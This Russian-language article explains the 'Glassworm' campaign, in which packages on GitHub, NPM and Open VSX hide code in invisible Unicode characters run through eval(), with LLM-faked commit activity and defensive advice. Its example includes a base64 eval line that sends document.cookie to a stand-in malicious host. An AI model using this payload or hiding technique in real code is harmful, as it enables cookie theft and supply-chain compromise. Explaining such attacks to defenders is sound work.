В мире разработки программного обеспечения разворачивается тихая, но крайне опасная война. Киберпреступники нашли способ обходить традиционные методы защиты и ручное рецензирование кода, используя технологии, которые долгое время оставались вне поля зрения специалистов по безопасности. Речь идет о масштабной кампании по заражению популярных репозиториев, таких как GitHub, NPM и Open VSX, вредоносными пакетами, содержащими невидимый для человеческого глаза код, написанный с использованием специальных символов Unicode.
Исследователи из компании Aikido Security обнаружили, что злоумышленники, которых они окрестили Glassworm, за короткий промежуток времени (с 3 по 9 марта 2026 года) загрузили на GitHub 151 вредоносный пакет . Этот метод настолько изощрен, что позволяет обмануть не только разработчиков, но и автоматические сканеры безопасности. В этой статье мы детально разберем, как работает новая техника внедрения вредоносного кода, почему традиционные средства защиты бессильны, какую роль в этом играет искусственный интеллект, и, самое главное, как защитить свои проекты от этой «невидимой» угрозы.

Техника атаки: Невидимый код из символов Unicode
Как это работает?
Главная инновация атаки Glassworm заключается в использовании специальных символов Unicode, которые визуально неотличимы от обычных пробелов или пустых строк, но при этом интерпретируются движком JavaScript как полноценный исполняемый код .
Традиционно угрозу представляют явные вредоносные фрагменты, которые легко заметить при ручном ревью кода. Однако в случае с новой кампанией, основная часть кода в зараженных пакетах выглядит абсолютно легитимно и читаемо. Опасность скрыта в нечитаемых символах.
Процесс заражения выглядит следующим образом:
- Внедрение: Злоумышленник добавляет в код библиотеки строки, состоящие из специальных символов Unicode (например, невидимых управляющих символов или «ленивых» последовательностей), которые для человека выглядят как обычный пробел или перенос строки.
- Маскировка: При ручном ревью кода разработчик или специалист по безопасности видит лишь пустые строки или безобидные комментарии.
- Расшифровка: В коде также присутствует небольшой легитимный декодер, функция которого — прочитать эти «невидимые» символы во время выполнения программы и преобразовать их в реальные байты вредоносной полезной нагрузки.
- Исполнение: Полученная строка с вредоносным кодом передается в функцию eval() (в случае JavaScript) или аналогичные механизмы в других языках, которые выполняют ее так, как если бы это был обычный код .
Таким образом, вредоносный код существует в репозитории, но остается незаметным до момента выполнения.
История метода: Почему это стало возможным только сейчас?
Сами по себе специальные символы Unicode существуют в стандарте уже несколько десятилетий. Они были введены для различных целей — управления форматированием текста, поддержки редких языков и т.д. Однако их использование в кибератаках — явление относительно новое. По данным экспертов, массовое применение этой техники для сокрытия вредоносного кода началось лишь в 2026 году . Злоумышленники адаптировали старую технологию под новые задачи, сделав ее идеальным инструментом для обхода систем безопасности, которые не анализируют содержимое «невидимых» символов.
Масштаб угрозы: Атака Glassworm на GitHub, NPM и VS Code
Кампания, получившая название Glassworm от исследователей Aikido Security, поражает своим размахом и системностью.
Что и где обнаружили?
С 3 по 9 марта 2026 года специалисты зафиксировали массовую загрузку вредоносных пакетов на платформу GitHub — всего 151 проект за неделю . Однако это лишь вершина айсберга. Аналогичные пакеты были обнаружены и в других критически важных репозиториях экосистемы разработки:
- NPM (Node Package Manager) — крупнейший реестр пакетов для JavaScript.
- Open VSX — реестр расширений для редактора кода VS Code.
- Маркетплейс VS Code — официальный магазин расширений от Microsoft.
Тактика «Отравления колодца» (Dependency Confusion)
Злоумышленники используют классическую, но эффективную технику, известную как dependency confusion (путаница зависимостей) или тайпсквоттинг. Они дают своим вредоносным пакетам имена, максимально похожие на названия крупных, широко используемых библиотек. Разработчик может по ошибке (например, опечатавшись или неправильно скопировав название) подключить не официальную библиотеку, а вредоносный пакет злоумышленников . В случае с Glassworm, пакеты имеют имена, имитирующие легитимные продукты, что делает их особенно опасными при автоматическом скачивании зависимостей.
Роль ИИ: Как Glassworm симулирует активность разработчика
Еще одной отличительной чертой группировки Glassworm является невероятно высокий уровень правдоподобия их активности. Просто загрузить вредоносный пакет недостаточно — нужно, чтобы он не вызывал подозрений и как можно дольше оставался в репозитории.
Фальшивая, но правдоподобная активность
Исследователи Aikido Security обратили внимание, что все действия злоумышленников в репозиториях выглядят как работа обычного разработчика над легитимным проектом:
- Регулярные правки и обновления документации.
- Повышение версий пакетов.
- Рефакторинг кода (изменение структуры без изменения функциональности).
- Исправление мелких ошибок (багов).
Создать такую иллюзию добросовестной деятельности для 151 проекта вручную практически невозможно. Это требует колоссальных трудозатрат. Эксперты пришли к выводу, что злоумышленники, скорее всего, активно используют большие языковые модели искусственного интеллекта (LLM) для автоматизации этого процесса . ИИ позволяет генерировать правдоподобные коммиты, сообщения к ним и изменения в коде, имитируя работу целой команды разработчиков.
Почему традиционные методы защиты не работают?
Атака Glassworm бросает вызов устоявшимся практикам обеспечения безопасности.
- Ручное ревью кода: Человек просто не видит угрозы. Символы Unicode, используемые для скрытия кода, отображаются как пробелы или пустые строки. Разработчик просматривает код, видит безобидные строки и пропускает его .
- SAST-сканеры (Static Application Security Testing): Большинство инструментов статического анализа кода не обучены интерпретировать специальные символы Unicode как потенциальную угрозу. Они сканируют явный, видимый код и пропускают невидимые вставки .
- Антивирусы и EDR: Эти системы часто фокусируются на сигнатурах известных вредоносов или поведенческом анализе на этапе выполнения. Если полезная нагрузка загружается из внешнего источника после дешифровки, ее сложнее отловить на ранней стадии.
Пример: Как выглядит невидимый код
Представьте себе строку в JavaScript, которая выглядит так:
var x = 'привет';
// далее пустая строка и комментарий
console.log(x);
На самом деле, в «пустой строке» могут быть скрыты символы Unicode, которые после обработки декодером превратятся в:
eval(atob('dmFyIGltYWdlID0gbmV3IEltYWdlKCk7IGltYWdlLnNyYyA9ICdodHRwOi8vbWFsaWNpb3VzLXNpdGUuY29tL3N0ZWFsLWRhdGE/JyArIGRvY3VtZW50LmNvb2tpZTs='));
Пользователь видит пустоту, а интерпретатор — команду на кражу cookies.

Масштаб и недолговечность: Пакеты исчезают после загрузок
Одной из причин, по которой атака Glassworm долгое время оставалась незамеченной, является тактика «быстрого удаления». Злоумышленники публикуют пакет, ждут, пока он наберет достаточное количество загрузок (например, для включения в чужие проекты или для сбора данных), а затем удаляют его . Это затрудняет анализ и расследование. Обнаруженные 151 пакет — это лишь те, которые успели зафиксировать до удаления. Реальное же количество может быть в разы больше.
Как защититься: Рекомендации для разработчиков
Учитывая сложность и новизну угрозы, стандартные методы защиты требуют пересмотра.
- Тщательная проверка зависимостей: Не подключайте библиотеки автоматически. Прежде чем добавить новый пакет в проект, изучите его историю, количество загрузок, репутацию автора и дату последнего обновления. Подозрительно новые пакеты с короткой историей, но громкими именами — повод для беспокойства.
- Инструменты для выявления невидимых символов: Используйте специализированные утилиты или IDE-плагины, которые могут подсвечивать или визуализировать нестандартные символы Unicode. Например, можно использовать команды
cat -Aв Linux или специализированные линтеры. - Обновление SAST-инструментов: Следите за обновлениями ваших сканеров безопасности. После обнаружения этой кампании ведущие вендоры, вероятно, добавят правила для обнаружения подобных аномалий.
- Будьте осторожны с eval() и подобными функциями: В своем коде минимизируйте использование функций, выполняющих код из строк (
eval,setTimeoutсо строкой и т.д.). Если они используются в подключаемых библиотеках, это повышает риск. - Песочница и тестирование: Запускайте новые зависимости в изолированной среде (песочнице) перед внедрением в основной проект. Наблюдайте за сетевыми запросами и поведением.
Таблица сравнения: Традиционные угрозы против Glassworm
| Характеристика | Традиционные вредоносные пакеты | Новая атака Glassworm (невидимый код) |
|---|---|---|
| Обнаружение при ревью | Легко заметить явный вредоносный код. | Практически невозможно — код скрыт в нечитаемых символах. |
| Метод внедрения | Прямая вставка опасных функций. | Скрытые Unicode-символы + декодер. |
| Активность в репозитории | Часто минимальная или подозрительная. | Высокая, правдоподобная (документация, фиксы), автоматизированная ИИ. |
| Обнаружение SAST | Высокая вероятность. | Низкая — инструменты не видят скрытые символы. |
| Жизненный цикл | Может существовать долго. | Часто удаляется после набора загрузок. |
Заключение: Новая эра киберугроз
Кампания Glassworm знаменует собой переход киберпреступников на качественно новый уровень. Сочетание трех факторов делает эту угрозу особенно опасной:
- Техника невидимости (скрытие кода в Unicode).
- Автоматизация активности с помощью ИИ, создающая иллюзию легитимности.
- Использование доверенных каналов распространения (GitHub, NPM).
Разработчикам и специалистам по безопасности придется адаптироваться. Ручное ревю кода больше не может считаться достаточной мерой защиты, если оно не подкреплено инструментальным анализом на наличие скрытых символов. По мере того как злоумышленники совершенствуют свои методы с помощью ИИ, защита также должна становиться умнее и проактивнее. Внимательность и использование современных инструментов анализа — единственный способ не стать жертвой «невидимой» угрозы, скрывающейся в открытом коде.

